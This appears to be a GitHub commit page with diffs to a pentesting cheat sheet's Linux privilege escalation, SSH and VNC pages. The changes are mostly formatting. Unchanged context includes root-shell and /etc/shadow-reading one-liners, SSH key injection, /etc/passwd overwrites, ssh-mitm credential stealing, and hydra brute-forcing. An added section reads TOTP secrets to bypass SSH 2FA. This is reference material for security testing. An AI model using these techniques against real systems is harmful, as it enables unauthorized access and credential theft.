Skip to content

Commit 333590b

Browse files
committed
updated wireshark cheat sheet and others
1 parent a6e4f23 commit 333590b

File tree

7 files changed

+101
-114
lines changed

7 files changed

+101
-114
lines changed

src/exploit/linux/privilege-escalation/index.md

Lines changed: 12 additions & 48 deletions
Original file line numberDiff line numberDiff line change
@@ -18,14 +18,10 @@ There are some tools for investigating automatically.
1818
- [Linux Exploit Suggester](https://github.com/mzet-/linux-exploit-suggester)
1919
- [Linux Smart Enumeration](https://github.com/diego-treitos/linux-smart-enumeration)
2020

21-
<br />
22-
2321
## Messages When Logged In
2422

2523
After logged in the target system, don’t miss the messages. We might find interesting information.
2624

27-
<br />
28-
2925
## OS Information
3026

3127
```sh
@@ -54,8 +50,6 @@ Linux examplehost 4.4.0-31-generic #50-Ubuntu SMP Wed Jul 13 00:07:12 UTC 2016 x
5450

5551
For example above, we can search **`ubuntu 4.4.0-31-generic`** in search engines.
5652

57-
<br />
58-
5953
## Interesting Information
6054

6155
```sh
@@ -197,6 +191,7 @@ iptables -L -v -n
197191
# Messages
198192
cat /etc/issue
199193
cat /etc/motd
194+
cat /etc/update-motd.d/00-header
200195

201196
# MySQL (MariaDB)
202197
cat /etc/mysql/my.cnf
@@ -269,9 +264,10 @@ apt list --upgradable | grep polkit
269264

270265
# CPU usage
271266
htop
272-
```
273267

274-
<br />
268+
# Find files modified recently (replace the datetimes)
269+
find / -type f -newermt "2025-04-01 00:00:00" ! -newermt "2025-04-01 23:59:59"
270+
```
275271

276272
## Kernel Information
277273

@@ -308,6 +304,14 @@ ll /lib/modules/
308304
# List symbols and addresses of kernel modules
309305
cat /proc/kallsyms
310306

307+
# Get module information
308+
modinfo <module_name>
309+
modinfo example.ko
310+
311+
# Investigate kernel module file
312+
strings example.ko | less
313+
objdump -D example.ko
314+
311315
# CPU information
312316
cat /proc/cpuinfo
313317

@@ -339,8 +343,6 @@ dmesg -l info
339343
dmesg -l user
340344
```
341345

342-
<br />
343-
344346
## Hardware Information
345347

346348
```sh
@@ -356,8 +358,6 @@ lspci
356358
ls /proc/bus/pci
357359
```
358360

359-
<br />
360-
361361
## SSH Public Key Forgery
362362

363363
If we have write permission to `.ssh/authorized_keys`, we can insert our SSH public key to this file and login as the user.
@@ -383,8 +383,6 @@ chmod 600 key
383383
ssh user@<target-ip> -i key
384384
```
385385

386-
<br />
387-
388386
## Open Ports
389387

390388
```sh
@@ -434,8 +432,6 @@ There are various methods to do that.
434432
435433
Now we can access to `http://localhost:8080` in local browser. That means we now connected to `http://127.0.0.1:8080` of remote machine.
436434
437-
<br />
438-
439435
## Running Processes
440436
441437
```sh
@@ -537,8 +533,6 @@ cat password.txt
537533
538534
Now we get the current user password.
539535
540-
<br />
541-
542536
## Process Tracing
543537
544538
Sometimes we can retrieve the sensitive information by reading sequential processes with `stract`.
@@ -547,8 +541,6 @@ Sometimes we can retrieve the sensitive information by reading sequential proces
547541
strace -e read -p `ps -ef | grep php | awk '{print $2}'`
548542
```
549543
550-
<br />
551-
552544
## Running Services
553545
554546
To list all running services in Linux, use the following command.
@@ -586,8 +578,6 @@ journalctl -u httpd
586578
journalctl -u sshd
587579
```
588580
589-
<br />
590-
591581
## Logging
592582
593583
```bash
@@ -620,8 +610,6 @@ We can watch logs in real time as below. `-f` option is used for dynamically out
620610
tail -f /var/log/syslog
621611
```
622612
623-
<br />
624-
625613
## Sensitive Files with Given Keywords
626614
627615
The **"find"** command searches files in the real system.
@@ -697,8 +685,6 @@ We can exclude specific directory with `-not -path` option of `find` command.
697685
find / -name "*.txt" -not -path "/usr/share" 2>/dev/null
698686
```
699687
700-
<br />
701-
702688
## SUID/SGID (Set User ID/ Set Group ID)
703689
704690
It allows users to run an executable as root privilege.
@@ -779,8 +765,6 @@ firejail --join=<PID>
779765
su -
780766
```
781767

782-
<br />
783-
784768
## Writable Directories & Files
785769

786770
```sh
@@ -791,8 +775,6 @@ find / -writable 2>/dev/null | cut -d "/" -f 2,3 | sort -u
791775
find / -writable -name "*.service" 2>/dev/null
792776
```
793777

794-
<br />
795-
796778
## Capabilities
797779

798780
To find files that are set capabilities.
@@ -854,8 +836,6 @@ LFILE=/etc/shadow
854836
tar xf "$LFILE" -I '/bin/sh -c "cat 1>&2"'
855837
```
856838

857-
<br />
858-
859839
## Set Capabilities
860840

861841
```sh
@@ -875,8 +855,6 @@ Then get a root shell.
875855
/home/<current-user>/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
876856
```
877857

878-
<br />
879-
880858
## Override /etc/passwd, /etc/shadow
881859

882860
### /etc/passwd
@@ -929,8 +907,6 @@ su root
929907
# password: password
930908
```
931909

932-
<br />
933-
934910
## Sensitive Contents in Files
935911

936912
```sh
@@ -964,8 +940,6 @@ grep -rE -o "([0-9]{1,3}[\.]){3}[0-9]{1,3}" ./
964940
grep -h root ./
965941
```
966942

967-
<br />
968-
969943
## Disks (Drives)
970944

971945
List disks information on the target system.
@@ -995,8 +969,6 @@ mkdir -p /mnt/tmp
995969
mount /dev/xvda1 /mnt/tmp
996970
```
997971

998-
<br />
999-
1000972
## Crack User Passwords
1001973

1002974
If we can access **/etc/passwd** and **/etc/shadow** as well, we can crack user passwords using **unshadow** and **John The Ripper**.
@@ -1024,8 +996,6 @@ john --wordlist=wordlist.txt passwords.txt
1024996
john --format=crypt --wordlist=wordlist.txt passwords.txt
1025997
```
1026998

1027-
<br />
1028-
1029999
## Execute Commands as Root Privilege
10301000

10311001
### Change Shebang in Shell Script
@@ -1054,8 +1024,6 @@ root@machine:~/$ whoami
10541024
root
10551025
```
10561026
1057-
<br />
1058-
10591027
## Update Sensitive Information
10601028
10611029
### 1. Change Password of Current User
@@ -1093,8 +1061,6 @@ echo -n '<current-password>\n<new-password>\n<new-password>' | passwd
10931061
su <new-user>
10941062
```
10951063

1096-
<br />
1097-
10981064
## Display the Content of Files You Don't Have Permissions
10991065

11001066
Using **"more"** command.
@@ -1109,8 +1075,6 @@ The text like "--More--(60%)" will be appeared.
11091075

11101076
### 4. Enter ':e ~/somefile'
11111077

1112-
<br />
1113-
11141078
## Password Guessing
11151079

11161080
### Generate Passwords From Victim Information

src/exploit/network/protocol/ssh-pentesting.md

Lines changed: 13 additions & 20 deletions
Original file line numberDiff line numberDiff line change
@@ -7,7 +7,7 @@ tags:
77
- Privilege Escalation
88
refs:
99
- https://www.exploit-db.com/docs/english/44592-linux-restricted-shell-bypass-guide.pdf
10-
date: 2024-06-15
10+
date: 2025-04-03
1111
draft: false
1212
---
1313

@@ -57,8 +57,6 @@ Crack the password of the private key using the formatted text.
5757
john --wordlist=wordlist.txt hash.txt
5858
```
5959

60-
<br />
61-
6260
## Investigation
6361

6462
### Banner Grabbing
@@ -73,8 +71,6 @@ Also, **[ssh-audit](https://github.com/jtesta/ssh-audit)** is an useful tool for
7371
ssh-audit <target-ip>
7472
```
7573

76-
<br />
77-
7874
## Configuration Files
7975

8076
```bash
@@ -84,8 +80,6 @@ cat /etc/ssh/ssh_config
8480
cat /etc/ssh/sshd_config
8581
```
8682

87-
<br />
88-
8983
## Connect
9084

9185
If you know a target credential, you can connect a remote server over SSH using the credential.
@@ -179,8 +173,6 @@ ssh domain-name\\username@domain-controller
179173
-----END RSA PRIVATE KEY-----
180174
```
181175
182-
<br />
183-
184176
## Transfer Files
185177
186178
### Send a File/Directory to Another Machine
@@ -205,8 +197,6 @@ scp -r user@<ip>:/home/<user>/path/to/file.txt .
205197
206198
If you get error **“connection refused”**, the SSH server is not running in another machine. So you need to start the SSH server.
207199
208-
<br />
209-
210200
## Create SSH Keys
211201
212202
### Generate Keys
@@ -228,8 +218,6 @@ In target machine,
228218
ssh-copy-id username@<target-ip>
229219
```
230220
231-
<br />
232-
233221
## Generate SSH Keys and Set Up Public Key to Connect Remote Machine
234222
235223
### 1. Check if authorized_keys Exists in Remote Machine
@@ -270,8 +258,6 @@ chmod 600 key
270258
ssh victim@<target-ip> -i key
271259
```
272260
273-
<br />
274-
275261
## SSH Server
276262
277263
### Start/Stop/Restart
@@ -330,8 +316,6 @@ sudo pkill -f pts/#
330316
grep 'sshd' /var/log/auth.log
331317
```
332318
333-
<br />
334-
335319
## SSH Proxy Server
336320
337321
### Sshuttle
@@ -365,8 +349,6 @@ Then you can access to other networks.
365349

366350
Run sshuttle again.
367351

368-
<br />
369-
370352
## SSH-MITM for Stealing Credentials
371353

372354
If the target system user try to connect arbitrary host using SSH, we might be able to steal credentials by listening via the SSH man-in-the-middle server.
@@ -380,4 +362,15 @@ pip3 install ssh-mitm --upgrade
380362
# --remote-host: Specify the target ip/domain
381363
# --listen-port: Specify the ip address to listen in local machine
382364
ssh-mitm server --enable-trivial-auth --remote-host example.com --listen-port 2222
383-
```
365+
```
366+
367+
## 2FA Bypass
368+
369+
When logging in to SSH with 2FA enabled, we will be asked for a **Verification Code**.
370+
371+
### Google Authenticator
372+
373+
If the Google Authenticator is used, the secret key of TOTP can be stored in `$HOME/.google_authenticator` according to [the repo](https://github.com/google/google-authenticator-libpam).
374+
375+
After getting the secret key, now access to [Online one-time password generator](https://totp.app/) and input the secret key, then get TOTP.
376+
Now login SSH with `ssh` command and input the TOTP for verification code.

src/exploit/network/protocol/vnc-pentesting.md

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -4,7 +4,7 @@ description: VNC is a graphical desktop sharing system that uses the Remote Fram
44
tags:
55
- Network
66
refs:
7-
date: 2024-01-08
7+
date: 2025-04-03
88
draft: false
99
---
1010

@@ -27,8 +27,6 @@ hydra -P passwords.txt vnc://<target-ip>
2727
hydra -P passwords.txt <target-ip> vnc
2828
```
2929

30-
<br />
31-
3230
## Connect
3331

3432
### Using Remmina
@@ -54,4 +52,6 @@ Then run the following command to connect:
5452

5553
```bash
5654
vncviewwer 10.0.0.1:5901
57-
```
55+
# with password file
56+
vncviewer -passwd ./passwd.txt 10.0.0.1:5901
57+
```

0 commit comments

Comments
 (0)